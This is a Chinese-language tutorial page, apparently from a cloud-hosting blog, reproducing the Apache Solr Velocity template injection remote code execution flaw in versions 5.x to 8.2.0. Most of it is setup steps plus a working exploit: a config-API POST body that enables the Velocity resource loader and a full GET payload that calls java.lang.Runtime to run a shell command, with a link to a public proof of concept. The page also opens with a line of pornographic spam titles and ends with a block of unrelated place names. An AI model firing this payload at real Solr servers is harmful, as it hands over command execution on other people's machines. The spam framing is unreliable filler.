中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apache Solr velocity模板注入RCE漏洞的示例分析

發布時間:2022-01-18 16:03:15 來源:億速云 閱讀:291 作者:柒染 欄目:安全技術

這篇文章主要為大家分析了Apache Solr velocity模板注入RCE漏洞的示例分析的相關知識點,內容詳細易懂,操作細節合理,具有一定參考價值。如果感興趣的話,不妨跟著跟隨小編一起來看看,下面跟著小編一起深入學習“Apache Solr velocity模板注入RCE漏洞的示例分析”的知識吧。

0x01簡介

Solr是一個獨立的企業級搜索應用服務器,它對外提供類似于Web-service的API接口。用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,并得到XML格式的返回結果。Apache Solr velocity模板注入RCE漏洞的示例分析

0x02漏洞介紹

Solr中存在VelocityResponseWriter組件,攻擊者可以構造特定請求修改相關配置,使VelocityResponseWriter組件允許加載指定模板,進而導致Velocity模版注入遠程命令執行漏洞,攻擊者利用該漏洞可以直接獲取到服務器權限。

0x03影響范圍

Apache Solr 5.x - 8.2.0,存在config API版本

0x04環境搭建

安裝java8環境,然后下載Solr,下載地址:

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

下載完成后解壓然后進入bin目錄執行./solr start

unzip solr-8.2.0.zip

 Apache Solr velocity模板注入RCE漏洞的示例分析

啟動會出現一些警告信息,我們可以通過修改bin下的solr.in.sh文件來進行消除,將SOLR_ULIMIT_CHECKS設置為false

vim solr.in.sh

 Apache Solr velocity模板注入RCE漏洞的示例分析

然后再次進行啟動 ./solr start  root啟動失敗的話在后面加上加上-force即可Apache Solr velocity模板注入RCE漏洞的示例分析

在瀏覽器訪問http://ip:8983,出現以下界面表示安裝成功Apache Solr velocity模板注入RCE漏洞的示例分析

但是發現不能創建coreApache Solr velocity模板注入RCE漏洞的示例分析

我們先手動在/server/solr/目錄下創建一個new_core的文件夾,然后將/server/solr/configsets/_default/下的conf目錄拷貝到new_core目錄下,之后再點創建Apache Solr velocity模板注入RCE漏洞的示例分析

0x05漏洞復現

創建好Core后訪問查看該應用config文件是否可以訪問

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr默認集成VelocityResponseWriter插件,該插件初始化參數中的params.resource.loader.enabled默認值設置為false,但是可以通過POST請求直接修改整合設置,將其設置為true,然后就可以構造特殊的GET請求來實現遠程代碼執行。

使用Burp抓取本頁面的包,直接構造POST請求,加入以下數據

{

  "update-queryresponsewriter": {

    "startup": "lazy",

    "name": "velocity",

    "class": "solr.VelocityResponseWriter",

    "template.base.dir": "",

    "solr.resource.loader.enabled": "true",

    "params.resource.loader.enabled": "true"

  }

}

 Apache Solr velocity模板注入RCE漏洞的示例分析

接下來我們就可以構造payload來實現RCE

payload:

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 Apache Solr velocity模板注入RCE漏洞的示例分析

 POC地址:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06修復方式

更新到最新版本

關于“Apache Solr velocity模板注入RCE漏洞的示例分析”就介紹到這了,更多相關內容可以搜索億速云以前的文章,希望能夠幫助大家答疑解惑,請多多支持億速云網站!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

海盐县| 全椒县| 桓台县| 泸水县| 三穗县| 东阿县| 衢州市| 盐山县| 石河子市| 拜城县| 永昌县| 长宁县| 洞口县| 陈巴尔虎旗| 海原县| 河间市| 卫辉市| 扎囊县| 克拉玛依市| 贵溪市| 东兰县| 尼勒克县| 绥中县| 乐陵市| 湖州市| 闸北区| 澄迈县| 凤凰县| 余干县| 溧阳市| 且末县| 永胜县| 武平县| 唐山市| 拉萨市| 齐河县| 高雄县| 蛟河市| 贵南县| 登封市| 当雄县|